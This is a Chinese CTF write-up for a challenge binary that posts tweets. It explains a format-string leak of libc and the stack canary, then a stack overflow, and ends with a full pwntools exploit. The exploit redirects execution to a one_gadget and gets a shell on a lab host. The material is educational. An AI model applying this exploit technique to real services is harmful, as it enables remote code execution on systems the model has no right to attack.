程序基本信息

   程序防护全开,shellcode修改got表等方法都不太可行，同时pie开启也使程序代码随机化了。

程序漏洞

   这是一个发推特的程序，具体功能不在这里细说，这个程序有两个漏洞：
   一个是存在在功能1中的格式化字符串漏洞，在函数sub_55D83D2C4F00中

   通过分析可以发现，a1是我们输入的值，所以这里我们可以输入格式化字符串泄露栈上的地址

   第二个是存在在功能2中的栈溢出漏洞，在函数sub_55D832C5000中

   由于这个函数的调用没有靠传统的rbp，而是靠sub rsp与add rsp来分配回收栈帧的，所以溢出字节数需要自己测算一下

整体思路

   由于程序给了libc，我们用one gadget工具看看可以跳转到那些地址能get shell

   我们可以选用第一个，只要让返回地址返回到内存中gadget位置即可（需要注意控制rax的值为0）。
   找到getshell的方法后，我们的思路就很清晰了，首先我们输入构造好的格式化字符串和password（程序中能找到），泄露栈上的libc中stdin的地址，然后减去stdin在libc中的偏移再加上0x45526就能得到gadget在内存中的起始地址，然后调用有栈溢出的函数，让返回地址指向gadget，就能成功pwn掉程序get shell

exp脚本

from pwn import *

context.update(os = 'linux', arch = 'amd64')

io = remote('172.17.0.2', 10001)

io.sendline('1')					#使用功能1触发格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8)				#格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46')			#密码硬编码在程序中，可以直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.')	
leak_libc = int(leak_data[7], 16)     #通过调试可知，stdin在printf的第8个参数
one_gadget_addr = leak_libc - 0x3c26f0 + 0x45526		#计算one gadget RCE地址（0x3c26f0和0x45526分别为stdin跟gadget在libc中的偏移）
canary = int(leak_data[5], 16)    #通过调试可知，canary在printf的第6个参数
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))

payload = "A"*1032					#padding
payload += p64(canary)				#正确的canary，canary在栈上与返回地址有8个字节的差距
payload += "B"*8					#padding
payload += p64(one_gadget_addr)		#one gadget RCE

io.sendline('2')					#使用有栈溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)

sleep(0.5)				
io.interactive()

内容参考

Linux pwn入门教程(9)